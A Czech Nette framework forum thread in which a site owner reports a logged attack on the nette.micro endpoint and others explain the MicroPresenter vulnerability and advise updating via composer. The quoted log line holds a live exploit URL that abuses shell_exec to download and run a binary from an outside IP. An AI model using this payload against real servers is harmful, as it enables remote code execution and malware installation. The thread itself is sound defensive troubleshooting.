Nette.micro – co to je, k čemu to je?
- Terka04
- Člen | 44
Dobrý den,
dnes mi přišel z aplikace e-mail:
PHP Warning: shell_exec() has been disabled for security reasons in /var/www/clients/client1/web1/web/vendor/nette/application/src/Application/MicroPresenter.php:90
source: https://www.domena.cz/nette.micro/?callback=shell_exec&cmd=cd+%2Ftmp%3Bcurl+-O+http%3A%2F%2F155.94.154.170%3A8088%2Fudp%3Bwget+http%3A%2F%2F155.94.154.170%3A8088%2Fudp%3Bchmod+777+udp%3B.%2Fudp
Nevíte o co se kdo pokoušel? Na internetu jsem nalezla, že se jedná o nějakou zranitelnost, ale tu bych měla mít pravděpodobně vyřešenou. K čemu je to nette.micro? Mohu ho smazat, nebo co proti tomu udělat? Standardně bych očekávala, že cokoliv za lomítkem bude reagovat jen na mnou vytvořené presentery, nebo adresáře.
Děkuji za postřehy.
Editoval Terka04 (8. 11. 2021 18:01)
- Marek Bartoš
- Nette Blogger | 1280
Pokoušel se odeslat request na IP 155.94.154.170. Nejspíš aby
zjistil, zda je web zranitelný. Jak chybu opravit je popsané tady: https://blog.nette.org/…pusteni-kodu
Presenter je spustitelný proto, že existuje nějaká routa obsahující
proměnnou <presenter>. S tou se lze dostat na jakýkoli
presenter. Jako nejjednodušší opravu ho smazat můžeš, pokud ho
nepoužíváš. Lepší je ale aktualizovat.
Editoval Marek Bartoš (8. 11. 2021 18:05)
- Terka04
- Člen | 44
Marek Bartoš napsal(a):
Pokoušel se odeslat request na IP
155.94.154.170. Nejspíš aby zjistil, zda je web zranitelný. Jak chybu opravit je popsané tady: https://blog.nette.org/…pusteni-koduPresenter je spustitelný proto, že existuje nějaká routa obsahující proměnnou
<presenter>. S tou se lze dostat na jakýkoli presenter. Jako nejjednodušší opravu ho smazat můžeš, pokud ho nepoužíváš. Lepší je ale aktualizovat.
Děkuji za odpověď. Článek jsem četla a zranitelnost mám dle všeho opravenou, ale… Jenže já žádný presenter takto, nebo podobně nemám ani vytvořený. Router mám ve stocku, mírně upravený o GET parametry. Kde ten „presenter“ naleznu?
- Marek Bartoš
- Nette Blogger | 1280
Presenter je přímo v Nette https://github.com/…resenter.php
Naroutovatelný je díky té routě obsahující <presenter>
a proto, že na něj existuje mapping https://github.com/…rFactory.php#L25
- Terka04
- Člen | 44
Marek Bartoš napsal(a):
Presenter je přímo v Nette https://github.com/…resenter.php
Naroutovatelný je díky té routě obsahující<presenter>a proto, že na něj existuje mapping https://github.com/…rFactory.php#L25
Děkuji za vysvětlení. Mohlo bys mě prosím malinko pošťouchnout, jakým elegantním způsobem mapování na to zrušit? Ať na to koukám, jak na to koukám, nic mě nenapadá.
- Marek Bartoš
- Nette Blogger | 1280
Není třeba ho rušit, po opravě už není možné jej nijak zneužít z vnější
- David Grudl
- Nette Core | 8239
Zdá se, že zranitelnost opravenou nemáš. Zkus aktualizovat nette pomocí
composer update.